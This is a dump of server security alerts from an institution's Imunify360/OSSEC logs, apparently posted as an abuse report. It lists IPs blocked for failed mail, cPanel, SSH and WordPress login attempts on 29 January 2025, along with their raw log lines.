Jan 29 11:13:49 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.56.31.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.63.138.162
description:
Jan 29 11:13:03 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.63.138.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.63.138.162
description:
2025-01-29 11:13:05 dovecot_plain authenticator failed for ([201.63.138.162]) [201.63.138.162]:45439: 535 Incorrect authentication data (set_id=mumuni)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.37.79.117
description:
2025-01-29 11:13:22 dovecot_login authenticator failed for (dsl-104-37-79-117.dellcity.com) [104.37.79.117]:47863: 535 Incorrect authentication data (set_id=valeria553@ait-edu.us)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.29.20.52
description:
Jan 29 11:13:27 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.29.20.52 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.238.60.69
description:
[2025-01-29 11:13:29 +0100] info [webmaild] 170.238.60.69 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 194.163.182.227
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:11-14.194.163.182.227


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 88.87.84.104
description:
Jan 29 11:14:22 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 88.87.84.104 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.87.84.104
description:
2025-01-29 11:14:24 dovecot_plain authenticator failed for (garth) [88.87.84.104]:42065: 535 Incorrect authentication data (set_id=abs22a00002y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.108.76.145
description:
[2025-01-29 11:14:08 +0100] info [webmaild] 190.108.76.145 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.212.20.130
description:
Jan 29 11:14:23 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.212.20.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.212.20.130
description:
2025-01-29 11:14:25 dovecot_plain authenticator failed for ([123.212.20.130]) [123.212.20.130]:40114: 535 Incorrect authentication data (set_id=eng20a00098y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.189.124.218
description:
Jan 29 11:14:01 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.189.124.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.124.218
description:
2025-01-29 11:14:03 dovecot_plain authenticator failed for ([196.189.124.218]) [196.189.124.218]:43922: 535 Incorrect authentication data (set_id=eng20a00098y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.220.130.160
description:
Jan 29 11:15:23 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.220.130.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.220.130.160
description:
2025-01-29 11:15:25 dovecot_plain authenticator failed for ([165.220.130.160]) [165.220.130.160]:48520: 535 Incorrect authentication data (set_id=eharry@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.202.82.16
description:
2025-01-29 11:15:40 dovecot_plain authenticator failed for ([175.202.82.16]) [175.202.82.16]:60810: 535 Incorrect authentication data (set_id=awadzie)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.188.65.178
description:
[2025-01-29 11:15:02 +0100] info [webmaild] 45.188.65.178 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.187.50.49
description:
Jan 29 11:15:21 ait sshd[77126]: pam_imunify(sshd:auth): [IM360_RBL] The IP 185.187.50.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.202.82.16
description:
Jan 29 11:15:38 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.202.82.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.96.11.230
description:
2025-01-29 11:15:19 dovecot_plain authenticator failed for 230.red-213-96-11.staticip.rima-tde.net [213.96.11.230]:33129: 535 Incorrect authentication data (set_id=awadzie@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.152.114.206
description:
Jan 29 11:15:41 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.152.114.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
description:
2025-01-29 11:15:09 dovecot_plain authenticator failed for (coaunarde) [102.53.15.17]:40778: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.53.15.54
description:
Jan 29 11:15:10 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.53.15.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.96.11.230
description:
Jan 29 11:15:17 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.96.11.230 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.152.114.206
description:
2025-01-29 11:15:43 dovecot_plain authenticator failed for ([39.152.114.206]) [39.152.114.206]:11214: 535 Incorrect authentication data (set_id=eharry)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.53.15.17
description:
Jan 29 11:15:07 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.53.15.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.54
description:
2025-01-29 11:15:12 dovecot_plain authenticator failed for (throlly) [102.53.15.54]:39384: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 185.187.50.49
description:
Jan 29 11:15:21 ait sshd[77126]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.187.50.49  user=root


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.50.231
description:
47.128.50.231 - - [29/Jan/2025:11:15:21 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=25725866 HTTP/2.0" 302 0 lms.aitsmartschool.com "https://lms.aitsmartschool.com/courses/survey-analysis-to-gain-marketing-insights/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.50.231


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 11:16:18 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 92.241.33.219
description:
[2025-01-29 11:16:01 +0100] info [webmaild] 92.241.33.219 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 80.76.51.123
domain: phd.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:11-16.80.76.51.123


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.183.2.15
description:
[2025-01-29 11:16:08 +0100] info [webmaild] 45.183.2.15 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.96.101.124
description:
Jan 29 11:17:28 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.96.101.124 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.96.101.124
description:
2025-01-29 11:17:30 dovecot_plain authenticator failed for ([186.96.101.124]) [186.96.101.124]:42636: 535 Incorrect authentication data (set_id=abs1@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.49.185
description:
Jan 29 11:17:07 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.49.185 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.158.160.42
description:
2025-01-29 11:16:55 dovecot_plain authenticator failed for ([117.158.160.42]) [117.158.160.42]:34320: 535 Incorrect authentication data (set_id=ads20b00337y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.154.35.251
description:
Jan 29 11:17:03 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.154.35.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.154.35.251
description:
2025-01-29 11:17:05 dovecot_plain authenticator failed for (WIN-5R0DSV23ED0) [94.154.35.251]:60290: 535 Incorrect authentication data (set_id=tsikpo@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.185
description:
2025-01-29 11:17:09 dovecot_plain authenticator failed for 111-70-49-185.emome-ip.hinet.net [111.70.49.185]:42982: 535 Incorrect authentication data (set_id=ads20b00337y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.158.160.42
description:
Jan 29 11:16:53 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.158.160.42 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 131.221.39.0
description:
[2025-01-29 11:17:52 +0100] info [webmaild] 131.221.39.0 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.189.252.218
description:
Jan 29 11:17:54 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.189.252.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.189.252.218
description:
2025-01-29 11:17:56 dovecot_plain authenticator failed for ([220.189.252.218]) [220.189.252.218]:50024: 535 Incorrect authentication data (set_id=abs1)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 5.63.164.170
description:
[2025-01-29 11:18:54 +0100] info [webmaild] 5.63.164.170 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.50.174.224
description:
[2025-01-29 11:19:13 +0100] info [webmaild] 177.50.174.224 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 194.163.182.227
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:11-19.194.163.182.227


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 187.19.142.116
description:
[2025-01-29 11:19:24 +0100] info [webmaild] 187.19.142.116 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 176.98.225.83
description:
[2025-01-29 11:19:29 +0100] info [webmaild] 176.98.225.83 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 167.250.151.24
description:
[2025-01-29 11:19:59 +0100] info [webmaild] 167.250.151.24 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.81.208.4
description:
Jan 29 11:20:00 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.81.208.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.59.251.95
description:
Jan 29 11:20:50 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.59.251.95 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.81.208.4
description:
2025-01-29 11:20:02 dovecot_plain authenticator failed for ([103.81.208.4]) [103.81.208.4]:53466: 535 Incorrect authentication data (set_id=abs20b00166y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.37.206.76
description:
Jan 29 11:20:11 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.37.206.76 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.37.206.76
description:
2025-01-29 11:20:13 dovecot_plain authenticator failed for ([14.37.206.76]) [14.37.206.76]:48013: 535 Incorrect authentication data (set_id=abs20b00166y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.59.251.95
description:
2025-01-29 11:20:52 dovecot_plain authenticator failed for ([191.59.251.95]) [191.59.251.95]:47980: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.231.56.128
description:
Jan 29 11:21:38 ait sshd[80116]: pam_imunify(sshd:auth): [IM360_RBL] The IP 111.231.56.128 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 111.231.56.128
description:
Jan 29 11:21:38 ait sshd[80116]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.231.56.128


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.28.60.82
description:
Jan 29 11:21:18 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.28.60.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.0.234.38
description:
Jan 29 11:20:52 ait sshd[79832]: pam_imunify(sshd:auth): [IM360_RBL] The IP 194.0.234.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.196.144.45
description:
Jan 29 11:21:15 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.196.144.45 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 198.54.106.83
description:
2025-01-29 11:21:34 dovecot_plain authenticator failed for 83.106.54.198.in-addr.arpa [198.54.106.83]:51665: 535 Incorrect authentication data (set_id=eng29b00328y)


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 111.231.56.128
description:
Jan 29 11:21:38 ait sshd[80116]: Invalid user xn--minblhimmel-18a.se 2001 from 111.231.56.128 port 48772


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 194.0.234.38
description:
Jan 29 11:20:52 ait sshd[79832]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=194.0.234.38  user=root


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.196.144.45
description:
2025-01-29 11:21:17 dovecot_plain authenticator failed for ([183.196.144.45]) [183.196.144.45]:49513: 535 Incorrect authentication data (set_id=eng29b00328y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.28.60.82
description:
2025-01-29 11:21:20 dovecot_plain authenticator failed for ([60.28.60.82]) [60.28.60.82]:40938: 535 Incorrect authentication data (set_id=ads20a00243y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 198.54.106.83
description:
Jan 29 11:21:32 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 198.54.106.83 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 2.134.18.37
description:
[2025-01-29 11:21:40 +0100] info [webmaild] 2.134.18.37 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.148.252.147
description:
2025-01-29 11:22:30 dovecot_plain authenticator failed for 122-148-252-147.sta.wbroadband.net.au [122.148.252.147]:40285: 535 Incorrect authentication data (set_id=ads20a00173y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.174.228.220
description:
Jan 29 11:22:43 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.174.228.220 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.110.148.78
description:
2025-01-29 11:22:44 dovecot_plain authenticator failed for broadband-37-110-148-78.ip.moscow.rt.ru [37.110.148.78]:60396: 535 Incorrect authentication data (set_id=ads09a99033y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.115.112.77
description:
Jan 29 11:22:45 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.115.112.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.115.112.77
description:
2025-01-29 11:22:47 dovecot_plain authenticator failed for ([123.115.112.77]) [123.115.112.77]:35972: 535 Incorrect authentication data (set_id=abs22a00002y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.148.252.147
description:
Jan 29 11:22:28 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.148.252.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.110.148.78
description:
Jan 29 11:22:42 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.110.148.78 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.228.220
description:
2025-01-29 11:22:45 dovecot_plain authenticator failed for ([60.174.228.220]) [60.174.228.220]:52670: 535 Incorrect authentication data (set_id=ads20a00173y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.91.173.203
description:
2025-01-29 11:23:03 dovecot_plain authenticator failed for ([197.91.173.203]) [197.91.173.203]:33839: 535 Incorrect authentication data (set_id=ads09a99033y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.106.196.150
description:
Jan 29 11:23:23 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.106.196.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.86.7.65
description:
Jan 29 11:23:26 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.86.7.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.75.24.107
description:
2025-01-29 11:23:36 dovecot_login authenticator failed for vps-79f20bfc.vps.ovh.net [51.75.24.107]:2720: 535 Incorrect authentication data (set_id=submit@iric.us)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.99
description:
Jan 29 11:23:50 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.99 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.112.154.174
description:
2025-01-29 11:23:08 dovecot_plain authenticator failed for ([203.112.154.174]) [203.112.154.174]:35284: 535 Incorrect authentication data (set_id=ads21a00028y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 138.219.185.179
description:
[2025-01-29 11:23:13 +0100] info [webmaild] 138.219.185.179 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.106.196.150
description:
2025-01-29 11:23:25 dovecot_plain authenticator failed for ([128.106.196.150]) [128.106.196.150]:55775: 535 Incorrect authentication data (set_id=ads21a00028y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.112.154.174
description:
Jan 29 11:23:06 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.112.154.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.252.78
description:
Jan 29 11:23:08 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.252.78 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.0.252.78
description:
2025-01-29 11:23:10 dovecot_plain authenticator failed for ([95.0.252.78]) [95.0.252.78]:36914: 535 Incorrect authentication data (set_id=ads21a00012y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.86.7.65
description:
2025-01-29 11:23:28 dovecot_plain authenticator failed for ([218.86.7.65]) [218.86.7.65]:53793: 535 Incorrect authentication data (set_id=ads21a00012y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.75.24.107
description:
Jan 29 11:23:34 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.75.24.107 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.99
description:
2025-01-29 11:23:52 dovecot_login authenticator failed for (nsg-corporate-99.229.187.122.airtel.in) [122.187.229.99]:47680: 535 Incorrect authentication data (set_id=submit)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.91.173.203
description:
Jan 29 11:23:01 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.91.173.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 11:23:02 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.123.78.13
description:
Jan 29 11:24:47 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.123.78.13 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.123.78.13
description:
2025-01-29 11:24:49 dovecot_plain authenticator failed for (12-78-123-185.host.cirex.ru) [185.123.78.13]:55673: 535 Incorrect authentication data (set_id=eng18a00033y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.174.3.182
description:
2025-01-29 11:25:09 dovecot_plain authenticator failed for 182.3.174.178.static.wline.lns.sme.cust.swisscom.ch [178.174.3.182]:39590: 535 Incorrect authentication data (set_id=eng18a00033y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 27.147.186.194
description:
[2025-01-29 11:25:20 +0100] info [webmaild] 27.147.186.194 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.153.208.38
description:
Jan 29 11:25:27 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.153.208.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.153.208.38
description:
2025-01-29 11:25:29 dovecot_plain authenticator failed for ([61.153.208.38]) [61.153.208.38]:59509: 535 Incorrect authentication data (set_id=eng29b00328y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.123.122.103
description:
2025-01-29 11:25:31 dovecot_plain authenticator failed for ([113.125.111.68]) [42.123.122.103]:55828: 535 Incorrect authentication data (set_id=ads30b00480y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.154.173
description:
2025-01-29 11:25:51 dovecot_plain authenticator failed for ([121.202.154.173]) [121.202.154.173]:39579: 535 Incorrect authentication data (set_id=ads30b00480y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.174.3.182
description:
Jan 29 11:25:07 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.174.3.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.44
description:
2025-01-29 11:26:30 dovecot_login authenticator failed for (cCUtF0) [141.98.10.44]:64660: 535 Incorrect authentication data (set_id=open)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 185.201.89.198
description:
[2025-01-29 11:26:47 +0100] info [webmaild] 185.201.89.198 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.6.232.206
description:
Jan 29 11:25:57 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.6.232.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.6.232.206
description:
2025-01-29 11:25:59 dovecot_plain authenticator failed for ([177.6.232.206]) [177.6.232.206]:39240: 535 Incorrect authentication data (set_id=eng29b00328y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 188.113.252.178
description:
[2025-01-29 11:26:08 +0100] info [webmaild] 188.113.252.178 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.44
description:
Jan 29 11:26:28 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.44 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 196.217.183.119
description:
[2025-01-29 11:27:09 +0100] info [webmaild] 196.217.183.119 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.125.93.101
description:
Jan 29 11:27:17 ait sshd[83493]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.125.93.101 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.44
description:
2025-01-29 11:26:53 dovecot_login authenticator failed for (Dv3XjF) [141.98.10.44]:50115: 535 Incorrect authentication data (set_id=open)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.44
description:
Jan 29 11:27:13 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.44 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.125.93.101
description:
Jan 29 11:27:17 ait sshd[83493]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.125.93.101  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 11:27:43 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.194.181.238
description:
Jan 29 11:28:32 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.194.181.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.194.181.238
description:
